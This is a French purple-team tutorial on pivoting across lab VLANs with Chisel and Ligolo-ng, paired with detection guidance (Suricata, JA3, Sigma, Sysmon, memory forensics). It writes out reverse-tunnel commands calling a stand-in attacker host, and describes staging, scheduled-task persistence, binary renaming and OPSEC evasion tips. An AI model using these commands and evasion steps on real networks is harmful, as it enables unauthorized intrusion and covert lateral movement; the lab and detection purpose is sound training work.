Pivoting avec Chisel et Ligolo-ng : Reseaux Segmentes en Lab de Pentest
Comment pivoter entre VLANs avec Chisel et Ligolo-ng dans un lab controle, et quels artefacts la blue team peut capturer pour detecter le tunnel inverse.

Votre shell sur la DMZ ne vaut rien si vous n'atteignez pas la VLAN 30 ou respire le controleur de domaine. Dans le lab de Basilisk OffSec nous avons monte ce scenario precis : un hote Linux expose sur 10.10.1.0/24, un segment interne 10.10.30.0/24 sous Windows 11 et un AD en 10.10.40.0/24. La seule route possible passe par cette machine pivot, et c'est la que Chisel et Ligolo-ng s'invitent comme outils complementaires. Ce guide parcourt les deux sous l'angle offensif et defensif, pour que vous ne vous contentiez pas de tunneler mais compreniez la trace que vous laissez. Avant d'ecrire le moindre octet de payload, passez par Pentest Web depuis Zero : Monter un Lab Sur avec DVWA, Juice Shop et Burp Suite et confirmez que le lab est isole de votre reseau domestique via pfSense.
Comprendre la topologie du lab
Le pivoting n'a de sens que si la segmentation est reelle. Montez trois VLANs avec une pfSense ou OPNsense au milieu, ou les regles de firewall ne laissent que 10.10.1.0/24 atteindre internet et les segments internes ne parlent qu'entre eux via des ports definis. La machine pivot a deux interfaces : une vers la DMZ, une vers 10.10.30.0/24. Sans ce double homing il n'y a pas de route, et c'est justement le but de l'exercice. Documentez la table de routage et les regles de firewall avant de commencer, car ensuite vous voudrez savoir exactement quel saut etait legitime et lequel etait votre tunnel.
Chisel : SOCKS inverse sur TLS
Chisel resout le probleme de base : vous avez une sortie HTTP vers un C2, mais l'entree est fermee. En lancant un serveur Chisel cote attaquant (chisel server --port 443 --reverse --tls-key key.pem --tls-cert cert.pem) et le client sur le pivot (chisel client https://attacker.tld:443 R:1080:socks), vous ouvrez un SOCKS5 inverse encapsule dans TLS 443, presque toujours autorise en egress. Ensuite vous pointez des outils comme proxychains4 vers 127.0.0.1:1080 et tunnelez des connexions TCP individuelles. Sur de vrais engagements contre des proxies Squid et Zscaler, nous avons mesure moins de 8% de blocage quand le certificat portait un SAN coherent. Le pattern a son bruit propre : des connexions HTTP/1.1 Upgrade de longue duree, exactement ce que le fingerprinting JA3 attrape.
Ligolo-ng : routage par interface TUN
Ligolo-ng change la donne car il cree une interface TUN cote attaquant et route des paquets entiers, pas seulement des flux TCP via SOCKS. Vous lancez le proxy (./proxy -selfcert -laddr 0.0.0.0:11601), executez l'agent sur le pivot (./agent -connect attacker.tld:11601 -ignore-cert), puis dans le shell du proxy session, puis ifconfig et tunnel_start. Apres ca, un simple ip route add 10.10.30.0/24 dev ligolo sur Kali vous laisse lancer nmap, CrackMapExec, meme Impacket sans proxychains. Liberateur, oui, mais la surface d'IoC grandit : vous poussez maintenant ICMP, UDP et TCP par le pivot, ce qui colle aux regles de detection de Mouvement Lateral en Lab : SMB, WMI et WinRM avec Focus Detection.
Chisel ou Ligolo : lequel quand
Le choix n'est pas une guerre de religion. Chisel est le bon appel quand vous n'avez besoin d'atteindre qu'un ou deux services TCP, quand la portabilite compte (un binaire minuscule qui tourne partout) et quand vous restez strictement dans le modele SOCKS TCP. Ligolo-ng gagne des que vous avez besoin d'un sous-reseau entier, voulez tunneler de l'UDP ou de l'ICMP (pour nmap -sU ou Kerberos par exemple), ou utilisez des outils qui s'accordent mal avec proxychains. Sur beaucoup de missions, Chisel tourne en premier foothold discret et Ligolo suit quand il faut un acces complet au segment. Qui maitrise les deux choisit par bruit et besoin, pas par habitude.
Chaine offensive : staging et persistance
Cote offensif, la sequence que nous utilisons est : acces initial via macro Office documente dans Initial Access Simule : Macros, LNK et ISO dans un Lab Windows 11 Isole, shell de test avec beacon Sliver (voir Construire une Infra C2 avec Sliver en Lab Isole pour la Recherche Defensive pour le setup), puis staging du binaire Ligolo via Background Intelligent Transfer Service pour eviter le telechargement direct. L'agent vit dans un repertoire inscriptible comme C:\Users\Public\Downloads, persiste en scheduled task de basse priorite. Detail critique : compiler l'agent avec -ldflags="-s -w" et le renommer svchost-helper.exe ne trompe pas un EDR moderne ; Sysmon Event ID 3 allume ce processus atteignant un port inhabituel en quelques secondes quand la regle est bien ecrite.
Defensif : ce que chasse la blue team
Cote defensif, et c'est la que l'exercice devient or pour la purple team, on chasse trois choses. Primo, des connexions sortantes persistantes vers 443/11601 durant plus de 30 minutes depuis des hotes qui ne font historiquement que des requetes courtes vers Microsoft 365. Secundo, des processus non signes ouvrant du TLS sans passer par Wininet ou Schannel (Ligolo embarque son propre runtime Go, ce qui se voit au handshake Schannel absent). Tertio, la creation d'interfaces TUN/TAP sur des endpoints Windows, evenement assez rare pour ancrer une regle Sigma a haute confiance. Cablez ca dans Threat Hunting avec Sigma et Elastic : De l'Indicateur a la Regle de Detection et vous avez du detection-as-code qui survit a bien des formes de pivot.
Heuristique IDS : Suricata et JA3
Les logs sont votre juge. Dans le lab nous capturons les PCAP au firewall avec Suricata en mode IDS, et l'heuristique qui attrape le mieux Ligolo combine un paquet TLS avec un handshake JA3 hors allowlist, une taille moyenne de paquet entre 1200 et 1400 octets, et un SNI absent pour le domaine cible. Chisel se cache mieux car il imite des websockets legitimes, mais il fuit via la duree de session et la cadence constante des paquets. Construisez une regle Suricata qui alerte sur les sessions TLS longues avec JA3 inconnu, et ajoutez une notice Zeek qui marque les connexions a forte symetrie d'octets (volume montant et descendant similaire), car les tunnels interactifs sont bien plus symetriques que le browsing normal.
Forensique memoire sur le pivot
Pour completer l'enquete, tirez une image memoire du pivot post-incident et croisez-la avec Memory Forensics avec Volatility 3 : Analyser des Dumps en Lab Reproductible et le plugin netscan ; la socket vers le C2 est visible meme si le processus a ete injecte. Sur des pivots Linux, linux.pslist plus linux.malfind font ressortir le processus etranger, et /proc/[pid]/exe montre que le binaire a ete supprime mais reste mappe (suffixe deleted). Ce suivi ferme la boucle purple team : l'offense sait maintenant quelle trace etait inevitable, la defense sait ou ancrer la detection.
Automatisation et demontage propre
Un operateur mature scripte le montage et le demontage plutot que de taper en direct. Ecrivez un petit script Bash qui lance le serveur Chisel avec un cert fixe, verifie le fingerprint JA3 contre votre allowlist et fixe une fenetre d'execution apres laquelle le tunnel se ferme seul. Pour Ligolo, definissez les routes de facon declarative et retirez-les au teardown avec ip route del pour ne laisser aucune interface orpheline. Tout aussi important : le kill switch. Un cron qui termine les processus de l'agent hors fenetre et supprime la scheduled task empeche un tunnel oublie de rester ouvert apres la mission et de devenir une vraie vulnerabilite. Le demontage propre fait partie de l'ethique : vous laissez le reseau client exactement comme vous l'avez trouve, avec un horodatage documente de chaque changement. Automatiser le teardown reduit l'erreur humaine et offre a la blue team une comparaison propre avant-apres pour valider ses detections.
Erreurs d'OPSEC et pieges
Les erreurs les plus courantes : utiliser un VPS non chauffe avec un certificat frais (JA3 et age du cert vous trahissent), deposer l'agent sous un nom evident comme ligolo.exe, laisser le tunnel ouvert 24/7 au lieu de fenetres, et combiner proxychains avec des outils UDP qui echouent en silence. Aussi, rappelez-vous qu'une interface TUN sur un client Windows n'est presque jamais legitime, c'est donc votre signal le plus bruyant. Pour rester discret, ne tunnelez que les ports necessaires avec Chisel et ne sortez Ligolo que quand le segment le justifie.
Ethique et scope
Ethique et scope ne sont pas un addendum, ils sont le socle. Tout ceci n'a de sens que dans un lab qui vous appartient, un contrat signe ou un range autorise comme HackTheBox Pro Labs et OffSec PG Practice. Documenter les commandes exactes, les hashes de binaires et les fenetres d'execution vous protege ainsi que le client. Avant de deployer Ligolo en mission reelle, revisez votre posture personnelle avec OPSEC pour Chercheurs en Securite : Modele de Menace Personnel et separez la machine de recherche de celle du client.
Checklist
Version courte pour le runbook : (1) Lab a trois VLANs et pfSense, routage documente. (2) Serveur Chisel avec cert valide et vieilli sur 443. (3) Client Chisel pour services TCP cibles. (4) Proxy Ligolo plus agent, route seulement pour le sous-reseau necessaire. (5) Suricata/Zeek a l'egress, allowlist JA3. (6) Regle Sigma pour TUN/TAP et sessions TLS longues. (7) Sysmon Event ID 3 sur ports inhabituels. (8) Dump memoire post-incident avec netscan. (9) Tunnel seulement en fenetres. (10) Tout dans un changelog signe.
FAQ
Pourquoi ne pas toujours utiliser Ligolo plutot que Chisel ?
Parce que Ligolo est plus bruyant. Une interface TUN et de l'ICMP/UDP route produisent plus de signaux distincts qu'un seul tunnel SOCKS TCP. Si vous n'avez besoin que de RDP ou SMB sur un hote, Chisel est plus furtif et portable. Ligolo est le bon outil des que vous devez scanner un sous-reseau entier ou tunneler des protocoles au-dela de TCP. Choisissez par besoin, pas par preference.
Un EDR moderne attrape-t-il toujours ces tunnels ?
Pas garanti, mais la probabilite monte avec des regles propres. Renommer et stripper le binaire aide peu l'attaquant si la blue team observe le comportement plutot que les noms de fichiers : creation de TUN, processus non signe faisant du TLS, session longue symetrique. C'est exactement pourquoi le but de l'exercice est d'ecrire la regle qui vous attrape.
Conclusion
Takeaway pratique : montez le lab aujourd'hui avec trois VMs et une pfSense, deployez Chisel et Ligolo le meme jour, et utilisez le reste de la semaine pour ecrire la regle Sigma qui vous attrape. Alors seulement vous aurez vraiment compris la technique, car le pivoting est moitie construction de tunnel et moitie savoir quelle trace est inevitable.


